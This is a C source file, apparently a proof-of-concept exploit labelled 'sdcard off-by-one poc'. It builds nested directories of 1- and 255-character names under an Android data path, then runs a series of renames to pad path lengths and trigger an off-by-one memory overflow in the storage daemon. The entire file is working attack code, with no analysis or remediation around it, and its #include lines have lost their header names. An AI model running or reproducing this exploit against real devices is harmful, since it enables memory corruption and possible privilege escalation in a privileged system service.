#include #include #include #include #include #include #include static void _append_dir(char* dst, size_t dst_len, const char* src) { if (dst_len > strlen(dst) + 2) { strncat(dst, src, dst_len - strlen(dst)); strncat(dst, "/", dst_len - strlen(dst)); } } static void _append_file(char* dst, size_t dst_len, const char* src) { if (dst_len > strlen(dst) + 2) { strncat(dst, src, dst_len - strlen(dst)); } } #define append_dir(dst, src) _append_dir(dst, sizeof(dst), src) #define append_file(dst, src) _append_file(dst, sizeof(dst), src) char* base_path = "/data/tmp/default/badger"; const size_t overflow_count = 14; static const char* name(size_t length) { static char name[256]; if (length > 255) { abort(); } memset(name, 'A', length); name[length] = 0; return name; } static int rename_and_test(const char* old_path, const char* new_path) { if (0 == rename(old_path, new_path)) { int fd = open(name(1), O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO); if (fd > 0) { close(fd); return 1; } } return 0; } static int rename_pad_1(size_t old_size, size_t new_size) { size_t i = 0; int fd = 0; char old_path[0x1000]; char new_path[0x1000]; memset(old_path, 0, sizeof(old_path)); memset(new_path, 0, sizeof(new_path)); fprintf(stderr, " rename_pad_1(%zu, %zu)\n", old_size, new_size); append_dir(old_path, base_path); for (i = 0; i < overflow_count; ++i) { append_dir(old_path, name(1)); } append_dir(old_path, name(1)); strcpy(new_path, old_path); append_file(old_path, name(old_size)); append_file(new_path, name(new_size)); return rename_and_test(old_path, new_path); } static void rename_overflows(size_t new_size) { size_t i = 0, j = 0; fprintf(stderr, " rename_overflows(%zu)\n", new_size); for (i = overflow_count; i > 0; --i) { char old_path[0x1000]; char new_path[0x1000]; memset(old_path, 0, sizeof(old_path)); memset(new_path, 0, sizeof(new_path)); append_dir(old_path, base_path); for (j = 0; j < i - 1; ++j) { append_dir(old_path, name(1)); } strcpy(new_path, old_path); append_file(old_path, name(1)); append_file(new_path, name(new_size)); rename(old_path, new_path); } } static int rename_pad_2(size_t old_size, size_t new_size) { size_t i = 0; char old_path[0x1000]; char new_path[0x1000]; memset(old_path, 0, sizeof(old_path)); memset(new_path, 0, sizeof(new_path)); fprintf(stderr, " rename_pad_2(%zu, %zu)\n", old_size, new_size); append_dir(old_path, base_path); for (i = 0; i < overflow_count; ++i) { append_dir(old_path, name(255)); } append_dir(old_path, name(1)); strcpy(new_path, old_path); append_file(old_path, name(old_size)); append_file(new_path, name(new_size)); return rename_and_test(old_path, new_path); } int main(int argc, char** argv) { size_t i = 0; fprintf(stderr, "[*] sdcard off-by-one poc\n"); chdir(base_path); fprintf(stderr, "[*] getting everything ready...\n"); fprintf(stderr, " - creating %i small entries\n", overflow_count + 2); for (i = 0; i < overflow_count + 2; ++i) { mkdir(name(1), S_IRWXU | S_IRWXG | S_IRWXO); chdir(name(1)); } fprintf(stderr, " - creating large entries\n"); for (i = 0; ; ++i) { if (0 > mkdir(name(255), S_IRWXU | S_IRWXG | S_IRWXO)) { break; } chdir(name(255)); } fprintf(stderr, " - adjusting pad_1 entry\n"); for (i = 2; i < 255; ++i) { if (!rename_pad_1(i-1, i)) { rename_pad_1(i, i-1); break; } } fprintf(stderr, " - resizing overflow entries\n"); rename_overflows(255); fprintf(stderr, "[*] triggering!\n"); for (i = 2; i < 255; ++i) { rename_pad_2(i - 1, i); } }